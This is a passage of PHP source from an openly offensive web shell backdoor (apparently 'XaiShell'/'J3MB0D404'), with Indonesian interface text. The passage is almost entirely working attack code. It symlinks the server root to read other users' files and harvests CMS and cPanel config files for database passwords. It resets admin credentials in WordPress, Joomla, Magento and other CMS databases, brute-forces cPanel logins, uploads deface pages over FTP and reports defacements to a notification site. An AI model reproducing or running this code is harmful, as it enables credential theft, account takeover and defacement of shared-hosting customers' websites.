<td align=center><font size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/xai_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("xai_sym",0777);
@chdir("xai_sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex xai.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "
<table align=center border=1><tr>
<td align=center><font size=3>S. No.</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/xai_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}fclose($file);
echo "</table>";}else{if($os != "Windows"){@mkdir("xai_sym",0777);@chdir("xai_sym");@exe("ln -s / root");$file3 = '
Options Indexes FollowSymLinks
DirectoryIndex xai.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
<table align=center border=1><tr>
<td align=center><font size=3>ID</font></td>
<td align=center><font size=3>Users</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
if ($uid)$temp .= join(':',$uid)."
";}
echo '<br/>';$temp = trim($temp);$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file)){$s = fgets($file);$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/xai_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}
fclose($file);
echo "</table></div></center>";unlink("test.txt");
} else
echo "<center><font size=3>Cannot create Symlink</font></center>";
}
}
}
elseif($_GET['do'] == 'defacerid') {
echo "<center><form method='post'>
<u>Defacer</u>: <br>
<input type='text' name='hekel' size='50' value='Rinto AR'><br>
<u>Team</u>: <br>
<input type='text' name='tim' size='50' value='XaiSyndicate'><br>
<u>Domains</u>: <br>
<textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
<input type='submit' name='go' value='Submit' style='width: 450px;'>
</form>";
$site = explode("
", $_POST['sites']);
$go = $_POST['go'];
$hekel = $_POST['hekel'];
$tim = $_POST['tim'];
if($go) {
foreach($site as $sites) {
$zh = $sites;
$form_url = "https://www.defacer.id/notify";
$data_to_post = array();
$data_to_post['attacker'] = "$hekel";
$data_to_post['team'] = "$tim";
$data_to_post['poc'] = 'SQL Injection';
$data_to_post['url'] = "$zh";
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL, $form_url);
curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
$result = curl_exec($curl);
echo $result;
curl_close($curl);
echo "<br>";
}
}
}
elseif($_GET['do'] == 'config') {
if($_POST){
$passwd = $_POST['passwd'];
mkdir("xai_config", 0777);
$isi_htc = "Options all
Require None
Satisfy Any";
$htc = fopen("xai_config/.htaccess","w");
fwrite($htc, $isi_htc);
preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_xai) {
$user_config_dir = "/home/$user_xai/public_html/";
if(is_readable($user_config_dir)) {
$grab_config = array(
"/home/$user_xai/.my.cnf" => "cpanel",
"/home/$user_xai/.accesshash" => "WHM-accesshash",
"/home/$user_xai/public_html/bw-configs/config.ini" => "BosWeb",
"/home/$user_xai/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_xai/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home/$user_xai/public_html/clientarea/configuration.php" => "WHMCS",
"/home/$user_xai/public_html/whm/configuration.php" => "WHMCS",
"/home/$user_xai/public_html/whmcs/configuration.php" => "WHMCS",
"/home/$user_xai/public_html/forum/config.php" => "phpBB",
"/home/$user_xai/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_xai/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_xai/public_html/app/etc/local.xml" => "Magento",
"/home/$user_xai/public_html/joomla/configuration.php" => "Joomla",
"/home/$user_xai/public_html/configuration.php" => "Joomla",
"/home/$user_xai/public_html/wp/wp-config.php" => "WordPress",
"/home/$user_xai/public_html/wordpress/wp-config.php" => "WordPress",
"/home/$user_xai/public_html/wp-config.php" => "WordPress",
"/home/$user_xai/public_html/admin/config.php" => "OpenCart",
"/home/$user_xai/public_html/slconfig.php" => "Sitelok",
"/home/$user_xai/public_html/application/config/database.php" => "Ellislab",
"/home1/$user_xai/.my.cnf" => "cpanel",
"/home1/$user_xai/.accesshash" => "WHM-accesshash",
"/home1/$user_xai/public_html/bw-configs/config.ini" => "BosWeb",
"/home1/$user_xai/public_html/config/koneksi.php" => "Lokomedia",
"/home1/$user_xai/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home1/$user_xai/public_html/clientarea/configuration.php" => "WHMCS",
"/home1/$user_xai/public_html/whm/configuration.php" => "WHMCS",
"/home1/$user_xai/public_html/whmcs/configuration.php" => "WHMCS",
"/home1/$user_xai/public_html/forum/config.php" => "phpBB",
"/home1/$user_xai/public_html/sites/default/settings.php" => "Drupal", "/home1/$user_xai/public_html/config/settings.inc.php" => "PrestaShop",
"/home1/$user_xai/public_html/app/etc/local.xml" => "Magento",
"/home1/$user_xai/public_html/joomla/configuration.php" => "Joomla",
"/home1/$user_xai/public_html/configuration.php" => "Joomla",
"/home1/$user_xai/public_html/wp/wp-config.php" => "WordPress",
"/home1/$user_xai/public_html/wordpress/wp-config.php" => "WordPress",
"/home1/$user_xai/public_html/wp-config.php" => "WordPress",
"/home1/$user_xai/public_html/admin/config.php" => "OpenCart",
"/home1/$user_xai/public_html/slconfig.php" => "Sitelok",
"/home1/$user_xai/public_html/application/config/database.php" => "Ellislab",
"/home2/$user_xai/.my.cnf" => "cpanel",
"/home2/$user_xai/.accesshash" => "WHM-accesshash",
"/home2/$user_xai/public_html/bw-configs/config.ini" => "BosWeb",
"/home2/$user_xai/public_html/config/koneksi.php" => "Lokomedia",
"/home2/$user_xai/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home2/$user_xai/public_html/clientarea/configuration.php" => "WHMCS",
"/home2/$user_xai/public_html/whm/configuration.php" => "WHMCS",
"/home2/$user_xai/public_html/whmcs/configuration.php" => "WHMCS",
"/home2/$user_xai/public_html/forum/config.php" => "phpBB",
"/home2/$user_xai/public_html/sites/default/settings.php" => "Drupal",
"/home2/$user_xai/public_html/config/settings.inc.php" => "PrestaShop",
"/home2/$user_xai/public_html/app/etc/local.xml" => "Magento",
"/home2/$user_xai/public_html/joomla/configuration.php" => "Joomla",
"/home2/$user_xai/public_html/configuration.php" => "Joomla",
"/home2/$user_xai/public_html/wp/wp-config.php" => "WordPress",
"/home2/$user_xai/public_html/wordpress/wp-config.php" => "WordPress",
"/home2/$user_xai/public_html/wp-config.php" => "WordPress",
"/home2/$user_xai/public_html/admin/config.php" => "OpenCart",
"/home2/$user_xai/public_html/slconfig.php" => "Sitelok",
"/home2/$user_xai/public_html/application/config/database.php" => "Ellislab",
"/home3/$user_xai/.my.cnf" => "cpanel",
"/home3/$user_xai/.accesshash" => "WHM-accesshash",
"/home3/$user_xai/public_html/bw-configs/config.ini" => "BosWeb",
"/home3/$user_xai/public_html/config/koneksi.php" => "Lokomedia",
"/home3/$user_xai/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
"/home3/$user_xai/public_html/clientarea/configuration.php" => "WHMCS",
"/home3/$user_xai/public_html/whm/configuration.php" => "WHMCS",
"/home3/$user_xai/public_html/whmcs/configuration.php" => "WHMCS",
"/home3/$user_xai/public_html/forum/config.php" => "phpBB",
"/home3/$user_xai/public_html/sites/default/settings.php" => "Drupal",
"/home3/$user_xai/public_html/config/settings.inc.php" => "PrestaShop",
"/home3/$user_xai/public_html/app/etc/local.xml" => "Magento",
"/home3/$user_xai/public_html/joomla/configuration.php" => "Joomla",
"/home3/$user_xai/public_html/configuration.php" => "Joomla",
"/home3/$user_xai/public_html/wp/wp-config.php" => "WordPress",
"/home3/$user_xai/public_html/wordpress/wp-config.php" => "WordPress",
"/home3/$user_xai/public_html/wp-config.php" => "WordPress",
"/home3/$user_xai/public_html/admin/config.php" => "OpenCart",
"/home3/$user_xai/public_html/slconfig.php" => "Sitelok",
"/home3/$user_xai/public_html/application/config/database.php" => "Ellislab"
);
foreach($grab_config as $config => $nama_config) {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("xai_config/$user_xai-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
}
}
echo "<center><a href='?dir=$dir/xai_config'><font color=lime>Done</font></a></center>";
}else{
echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>
";
echo file_get_contents('/etc/passwd');
echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>
";
}
} elseif($_GET['do'] == 'jumping') {
$i = 0;
echo "<pre><div class='margin: 5px auto;'>";
$etc = fopen("/etc/passwd", "r");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
foreach($user_jumping[1] as $user_idx_jump) {
$user_jumping_dir = "/home/$user_idx_jump/public_html";
if(is_readable($user_jumping_dir)) {
$i++;
$jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
if(is_writable($user_jumping_dir)) {
$jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
}
echo $jrw;
$domain_jump = file_get_contents("/etc/named.conf");
if($domain_jump == '') {
echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
foreach($domains_jump[1] as $dj) {
$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_jumping_url = $user_jumping_url['name'];
if($user_jumping_url == $user_idx_jump) {
echo " => ( <u>$dj</u> )<br>";
break;
}
}
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
}
echo "</div></pre>";
} elseif($_GET['do'] == 'auto_edit_user') {
if($_POST['hajar']) {
if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
echo "username atau password harus lebih dari 6 karakter";
} else {
$user_baru = $_POST['user_baru'];
$pass_baru = md5($_POST['pass_baru']);
$conf = $_POST['config_dir'];
$scan_conf = scandir($conf);
foreach($scan_conf as $file_conf) {
if(!is_file("$conf/$file_conf")) continue;
$config = file_get_contents("$conf/$file_conf");
if(preg_match("/JConfig|joomla/",$config)) {
$dbhost = ambilkata($config,"host = '","'");
$dbuser = ambilkata($config,"user = '","'");
$dbpass = ambilkata($config,"password = '","'");
$dbname = ambilkata($config,"db = '","'");
$dbprefix = ambilkata($config,"dbprefix = '","'");
$prefix = $dbprefix."users";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result['id'];
$site = ambilkata($config,"sitename = '","'");
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Joomla<br>";
if($site == '') {
echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
} else {
echo "Sitename => $site<br>";
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/WordPress/",$config)) {
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Wordpress<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/Magento|Mage_Core/",$config)) {
$dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
$dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
$dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
$dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
$dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
$prefix = $dbprefix."admin_user";
$option = $dbprefix."core_config_data";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
$result2 = mysql_fetch_array($q2);
$target = $result2[value];
if($target == '') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Magento<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
$dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
$dbuser = ambilkata($config,"'DB_USERNAME', '","'");
$dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
$dbname = ambilkata($config,"'DB_DATABASE', '","'");
$dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
$prefix = $dbprefix."user";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
$result = mysql_fetch_array($q);
$id = $result[user_id];
$target = ambilkata($config,"HTTP_SERVER', '","'");
if($target == '') {
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
echo "Config => ".$file_conf."<br>";
echo "CMS => OpenCart<br>";
echo $url_target;
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
} elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
$dbhost = ambilkata($config,'server = "','"');
$dbuser = ambilkata($config,'username = "','"');
$dbpass = ambilkata($config,'password = "','"');
$dbname = ambilkata($config,'database = "','"');
$prefix = "users";
$option = "identitas";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
$result = mysql_fetch_array($q);
$target = $result[alamat_website];
if($target == '') {
$target2 = $result[url];
$url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
if($target2 == '') {
$url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
} else {
$cek_login3 = file_get_contents("$target2/adminweb/");
$cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
$url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
$url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
} else {
$url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
}
}
} else {
$cek_login = file_get_contents("$target/adminweb/");
$cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
$url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
} elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
$url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
} else {
$url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
}
}
$update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
echo "Config => ".$file_conf."<br>";
echo "CMS => Lokomedia<br>";
if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
echo $url_target2;
} else {
echo $url_target;
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
}
mysql_close($conn);
}
}
}
} else {
echo "<center>
<h1>Auto Edit User Config</h1>
<form method='post'>
DIR Config: <br>
<input type='text' size='50' name='config_dir' value='$dir'><br><br>
Set User & Pass: <br>
<input type='text' name='user_baru' value='rintoar' placeholder='user_baru'><br>
<input type='text' name='pass_baru' value='rintoar' placeholder='pass_baru'><br>
<input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
</form>
<span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
";
}
} elseif($_GET['do'] == 'cpanel') {
if($_POST['crack']) {
$usercp = explode("
", $_POST['user_cp']);
$passcp = explode("
", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
$i++;
echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>J3MB0D404 Shell Backdoor.</font>";
}
} else {
echo "<center>
<form method='post'>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = '","'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type='submit' name='crack' style='width: 450px;' value='Crack'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
}
} elseif($_GET['do'] == 'cpftp_auto') {
if($_POST['crack']) {
$usercp = explode("
", $_POST['user_cp']);
$passcp = explode("
", $_POST['pass_cp']);
$i = 0;
foreach($usercp as $ucp) {
foreach($passcp as $pcp) {
if(@mysql_connect('localhost', $ucp, $pcp)) {
if($_SESSION[$ucp] && $_SESSION[$pcp]) {
} else {
$_SESSION[$ucp] = "1";
$_SESSION[$pcp] = "1";
if($ucp == '' || $pcp == '') {
//
} else {
echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
$ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
$ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
if((!$ftp_login) || (!$ftp_conn)) {
echo "[+] <font color=red>Login Gagal</font><br><br>";
} else {
echo "[+] <font color=lime>Login Sukses</font><br>";
$fi = htmlspecialchars($_POST['file_deface']);
$deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
if($deface) {
$i++;
echo "[+] <font color=lime>Deface Sukses</font><br>";
if(function_exists('posix_getpwuid')) {
$domain_cp = file_get_contents("/etc/named.conf");
if($domain_cp == '') {
echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
} else {
preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
foreach($domains_cp[1] as $dj) {
$user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
$user_cp_url = $user_cp_url['name'];
if($user_cp_url == $ucp) {
echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
break;
}
}
}
} else {
echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
}
} else {
echo "[-] <font color=red>Deface Gagal</font><br><br>";
}
}
//echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
}
}
}
}
}
if($i == 0) {
} else {
echo "<br>sukses deface ".$i." Cpanel by <font color=lime>XaiShell.</font>";
}
} else {
echo "<center>
<form method='post'>
Filename: <br>
<input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
Deface Page: <br>
<input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
USER: <br>
<textarea style='width: 450px; height: 150px;' name='user_cp'>";
$_usercp = fopen("/etc/passwd","r");
while($getu = fgets($_usercp)) {
if($getu == '' || !$_usercp) {
echo "<font color=red>Can't read /etc/passwd</font>";
} else {
preg_match_all("/(.*?):x:/", $getu, $u);
foreach($u[1] as $user_cp) {
if(is_dir("/home/$user_cp/public_html")) {
echo "$user_cp
";
}
}
}
}
echo "</textarea><br>
PASS: <br>
<textarea style='width: 450px; height: 200px;' name='pass_cp'>";
function cp_pass($dir) {
$pass = "";
$dira = scandir($dir);
foreach($dira as $dirb) {
if(!is_file("$dir/$dirb")) continue;
$ambil = file_get_contents("$dir/$dirb");
if(preg_match("/WordPress/", $ambil)) {
$pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."
";
} elseif(preg_match("/JConfig|joomla/", $ambil)) {
$pass .= ambilkata($ambil,"password = '","'")."
";
} elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
$pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."
";
} elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
$pass .= ambilkata($ambil,'password = "','"')."
";
} elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
$pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."
";
} elseif(preg_match("/client/", $ambil)) {
preg_match("/password=(.*)/", $ambil, $pass1);
$pass .= $pass1[1]."
";
if(preg_match('/"/', $pass1[1])) {
$pass1[1] = str_replace('"', "", $pass1[1]);
$pass .= $pass1[1]."
";
}
} elseif(preg_match("/cc_encryption_hash/", $ambil)) {
$pass .= ambilkata($ambil,"db_password = '","'")."
";
}
}
echo $pass;
}
$cp_pass = cp_pass($dir);
echo $cp_pass;
echo "</textarea><br>
<input type='submit' name='crack' style='width: 450px;' value='Hajar'>
</form>
<span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
}
} elseif($_GET['do'] == 'hijack_wp')
{
